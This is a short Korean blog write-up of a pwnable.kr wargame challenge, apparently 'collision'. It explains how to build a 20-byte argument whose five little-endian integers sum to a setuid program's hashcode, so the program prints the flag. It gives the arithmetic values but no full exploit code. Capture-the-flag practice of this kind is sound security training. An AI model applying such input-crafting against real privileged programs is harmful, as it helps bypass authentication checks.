처음으로 1pt에서 3pt로 넘어와서 어느 정도 차이날지는 잘 모르겠다. 일단 문제를 보러가자.




flag를 얻는게 핵심이고, 프로그램에 setuid가 걸려있다.

실행파일에서 hashcode와 유저가 인자로 준 값을 check_password()에 넣어 비교하여 같다면 flag를 출력해준다.


check_password함수는 20byte string(char배열)을 int배열로 변환시켜 배열의 값을 모두 더해 리턴해준다.

int가 4byte로 총 배열의 길이는 5이고, 이 5개의 합이 hasshcode값과 같으면 될 것 같다.



hashcode를 5로 나누면 0x06c5cec8이므로 0x06c5cec8*4 + 0x06c5cecc를 하면 될 것 같다. python을 이용해 값을 string으로 넣어주자.

(참고로 리틀엔디안을 고려해서 넣어주어야한다.)



문제가 풀렸다.

'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] lotto - 2 pt  (0) 2018.05.10
[pwnable.kr] bof- 5 pt  (0) 2018.05.09
[pwnable.kr] blackjack - 1 pt  (0) 2018.05.01
[pwnable.kr] cmd1 - 1 pt  (0) 2018.05.01
[pwnable.kr] shellshock - 1 pt  (0) 2018.05.01

+ Recent posts